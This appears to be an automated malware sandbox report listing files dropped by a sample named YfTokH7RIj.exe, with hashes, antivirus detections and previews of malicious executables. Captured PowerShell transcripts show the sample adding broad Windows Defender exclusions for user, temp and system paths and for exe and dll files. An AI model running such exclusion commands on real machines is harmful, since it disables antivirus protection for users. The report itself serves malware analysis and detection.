Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Cult

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YfTokH7RIj.exe.log Download File
Process:	C:\Users\user\Desktop\YfTokH7RIj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	5.3192079301865585
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKhBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHImHK1HjHKoLHG1qHqHDJn:vq5qXAqLqdqUqzcGYqhQnoPtIxHbq1Dw
MD5:	DE699E9ED728B887F11890B4B0129926
SHA1:	74207E753025CE515DE95D7B7151B845BA8D6243
SHA-256:	D73FF535C52D521F0256E7D751A40CE0DE31C9EECAAF84D0705F17A510E61A86
SHA-512:	5CE2FACBEEE20554BF4664D0C0E33E1A93017A83750B67F4DD8458CD66BA6D925BA4B8FFD37473EBECF77EFD6F2B3F80A253D2B11048998FEFBBED6DDDCF759A
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.350691143244519
Encrypted:	false
SSDEEP:	24:3vUPPpQrLAo4KAxCoOu42qs5qRPnZnCvK39tCKnKJRSF8PQ9rz6F:8PPerB4BOu/q8qRBnCvO9tC4aR48Y9aF
MD5:	4B89A7A19D35A57AF1E46313BAC77EDD
SHA1:	773003F619F30FF3D7B7B326D812246E5C5DAC5F
SHA-256:	5A6D8E886DB12425B808C1297DF9E0158AE653056D905E65E485A77161978C21
SHA-512:	6F93A0490B3BB6C6F02E543E657524581EC12EE78DF262A3FACBCB5A52C387E381F348AD751E77DCE28414D60B1F7FE8EFD2FF6CE67E0C28DA139009AEB11335
Malicious:	false
Preview:	@...e...................................z............@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.Automation4...............T..'Z..N..Nvj.G.........System.Data.4................Zg5..:O..g..q..........System.Xml..<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServicesL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<................):gK..G...$.1.q........System.Configuration<...............)L..Pz.O.E.R............System.Transactions.P................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rishn0w.102.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dyw4scav.ll0.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwfedu5d.5cu.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hlrldjfa.c0k.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5e5r3m1.ck0.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pj1w0owe.2sc.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qsuhercb.yt1.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ri3urkro.nvo.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tyggyavs.qlc.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uyq1fusj.sme.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ysspdktq.d5o.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1wx4p30.mk0.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\fl.exe Download File
Process:	C:\Users\user\Desktop\YfTokH7RIj.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4305408
Entropy (8bit):	7.991371319257063
Encrypted:	true
SSDEEP:	98304:weSXwxLzxoKojAICtBfUOEjMIc3kaA9g1Eg+mJcgmzG:wAnoK7IyH+Mxkpg1Eg+mXmK
MD5:	BF232E7CD2DE9652142313A13FE16E69
SHA1:	86292AD4BBA7E87B2BFEE60431B0D1713C2B3648
SHA-256:	1947ACE1EB9995E810DAA27B4F727AAF02991B5E43626E6C16C0FE56C23E8770
SHA-512:	37188E0D0E82EEF6C13699E0990250D747D5EEC23B7BC71E1C028DB98907D24DF439149511EE5A1B53E4D041BE5E0C2CFBE4501892CF7B55FBAE8D10D88BA43F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 60%, Browse Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...}..a.........."......n............... .....@..... ....................................@...@......@............... .................................................................................................................................H............text....l... ...................... ..`.vmp0.....!.........................`..`.vmp1.....A...?...A.................`..`.rsrc.................A.............@..@.................................................................................................................................................................................................................................................................................................................................................................................................................................................reloc..........

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.DXsl59n5.20211228181418.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5935
Entropy (8bit):	5.407027066217802
Encrypted:	false
SSDEEP:	96:BZkjxNvCqDo1ZDUZAjxNvCqDo1ZWUJGJMJjZ5jxNvCqDo1ZP/J8J8JKZp:k
MD5:	29EED4DBBD5AF83E3F4A5E97C3A54D72
SHA1:	12DEC1AE2F227D38CEAA6FC1FE9785BC065CFA31
SHA-256:	4EF05C3F7A9A301F1D6D99C69A1AA72BEB92BD83D0323566A51F609B011C4EC3
SHA-512:	D92096B6823AEFF62CDE65B4E66B7EB9644C4321C0E2E12BD1F062E47106E1485B5B197D6880AAB78D60855E4C7300F33CE055F1AC044DA5619907ABA90006C4
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181419..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..Process ID: 1572..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181419..******************..PS>Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..S

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.Hr_crS3R.20211228181400.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5443
Entropy (8bit):	5.383584584861348
Encrypted:	false
SSDEEP:	96:BZTjxNYqDo1ZqZajxNYqDo1ZGgC4jZyjxNYqDo1ZfBooPZ8:0
MD5:	15099DB63C0E652F1B7BA2AEA9B10670
SHA1:	D29862E42AC4371F8E3160405265D716920273AA
SHA-256:	147DBD469333F7CE7C07CA013F7D989982E17764B53E6E20E520AEB46FDDDCE9
SHA-512:	07075B6F0905AD151B251D7C68B9D94529B82DBF94D5966C403B3FBE0DEB8D87B3F946142ACD9E93AE11CA720E081DCE6067A40E8AFB1D01E0AC970CB8653B46
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181401..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force..Process ID: 3496..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181401..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20211228181714..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.KBDYqCXn.20211228181352.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5935
Entropy (8bit):	5.408455186981427
Encrypted:	false
SSDEEP:	96:BZtjxNvTqDo1ZqUZujxNvTqDo1ZVUJGJMJjZ0jxNvTqDo1Zo/J8J8JrZs:I
MD5:	E2A8B983A4C0746AC3EA0D9218DB5967
SHA1:	0EF1417AB520A98917A2B81DE2752822F533DD97
SHA-256:	00A48F5AF76217A20462CE58A4E954167BD75545E54691435B1BE0CDC1D9C83E
SHA-512:	6AD197F1E4C35505542639259F251444868D674561BA529D91FEF9DA072299451C1B535923AADC47E6DB0EE061A208DB42D6BF8469D6809B72CF0C06D95CE04F
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181353..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..Process ID: 6932..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181353..******************..PS>Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..S

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.hFAsNzsv.20211228181436.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5443
Entropy (8bit):	5.383456350270843
Encrypted:	false
SSDEEP:	96:BZjjxNWqDo1Z+ZAjxNWqDo1ZUgC4jZdjxNWqDo1ZnBooueZgH:dXH
MD5:	C584CB184546CBD3C97E6A024B99BDB2
SHA1:	E0EEF92376EBBC4A9D6EAFF2CEE4548373B694AC
SHA-256:	440776E21FAE872683730898B16F74166DF5F92B796B889CFBB0F35AD311BC8B
SHA-512:	C577791AF428F0E637F7A572DF58D75FCA705A580E68B850EFC25FE5E417445A1819D6D3E6D9527DBF2B4DF552C9F61D1C40EB1FBCB28B7647EA43A498B52F98
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181438..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force..Process ID: 5148..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181438..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20211228181745..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.le9Tu1FR.20211228181425.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5443
Entropy (8bit):	5.3815861854938225
Encrypted:	false
SSDEEP:	96:BZmjxNHqDo1ZPZMjxNHqDo1ZDgC4jZRjxNHqDo1ZKBoo8ZP:8
MD5:	97EB5DDCFEF67D2FB6CCF7D62C3EF899
SHA1:	DC1445D80A6943A726C467760A6F05C268BCE4F9
SHA-256:	848C693C3667011EB1BF6B956E5FDC79289BFF92828B64E8558F7E10BE88E04F
SHA-512:	8B3B7DF9517010924E88662B56BE9DBF07F2E6C3EE85869EFA01FD7B78106458CD3C2F6FE865015861EB680669922EB379BD62D94334D82B3751E579CDA1EA1F
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181426..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force..Process ID: 1848..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181426..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20211228181741..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.ocrmpR+3.20211228181423.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5935
Entropy (8bit):	5.407635574815267
Encrypted:	false
SSDEEP:	96:BZmjxNvZqDo1ZhUZkjxNvZqDo1ZWUJGJMJjZXjxNvZqDo1Zl/J8J8JkZb:3
MD5:	CD016EEE6BA92F3F5682DDDFEE462E92
SHA1:	C17370892E68C4B0BA89802D180F7DD231A27CD7
SHA-256:	8569B3143B3D9689E62DC3BF537BF534C9E39B18C80EAD47CC783924BFFA3E50
SHA-512:	8049F6F77A0A631158214CEE02169B40671D9EDC922F445428D270557A5020E87EF29656AC1FD683CAD82AD7B48ABE1268BED33B87408E9942932DA210E27E7D
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181426..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..Process ID: 2480..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181426..******************..PS>Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..S

C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Download File
Process:	C:\Windows\System32\services32.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	4.863035660698131
Encrypted:	false
SSDEEP:	192:3IEWUBFeC9n492+A38Zw5j3YlU3ARlMfwIoCCXdmfWTaY:1jj492+AsZw5jI6klcwlnofWTaY
MD5:	7E00AE5CF06B98B3D7494EE13532D651
SHA1:	9817A18FADACCB321FA285EE81DB36D82C346583
SHA-256:	C93CCD727EF8D69547303611BA9515036D0F61969A380AD3B72EF605E39209C0
SHA-512:	D2E5B6F40D7608BE0B7AA6DEFFEB744B03A47CB3C61398355344DA37BFD3A37B1779C412D1B8687A8D8398576A5BEEA2E61AD470F2099AAEFCFA0404B701B751
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 31%, Browse Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...}..a.........."...................... .....@..... .......................`............@...@......@............... ...............................@............................................................................................... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..BH........$.......................................................................0..&.......~....(.....(.........(......&.(......*...................0../.......r...p...s.......o....r...p.s......o.....r...ps....s....(........o......+Y..o....t..........................r...p......r...po........r...p......r...po.......(.......o....-.....,...o......r...p(....rh..p(....(....s....s....(........o......+D..o....t........,2..r...po....,$..r...po....o....r...p(....o....,.....o....-.....,...o...

C:\Windows\System32\services32.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\fl.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4305408
Entropy (8bit):	7.991371319257063
Encrypted:	true
SSDEEP:	98304:weSXwxLzxoKojAICtBfUOEjMIc3kaA9g1Eg+mJcgmzG:wAnoK7IyH+Mxkpg1Eg+mXmK
MD5:	BF232E7CD2DE9652142313A13FE16E69
SHA1:	86292AD4BBA7E87B2BFEE60431B0D1713C2B3648
SHA-256:	1947ACE1EB9995E810DAA27B4F727AAF02991B5E43626E6C16C0FE56C23E8770
SHA-512:	37188E0D0E82EEF6C13699E0990250D747D5EEC23B7BC71E1C028DB98907D24DF439149511EE5A1B53E4D041BE5E0C2CFBE4501892CF7B55FBAE8D10D88BA43F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...}..a.........."......n............... .....@..... ....................................@...@......@............... .................................................................................................................................H............text....l... ...................... ..`.vmp0.....!.........................`..`.vmp1.....A...?...A.................`..`.rsrc.................A.............@..@.................................................................................................................................................................................................................................................................................................................................................................................................................................................reloc..........

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.992251776904537
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	YfTokH7RIj.exe
File size:	1666048
MD5:	1b8bf38e83c31c76c7dd00088ac0922d
SHA1:	1bc87682b1518b398ee7eacc4c8e4370b18d359e
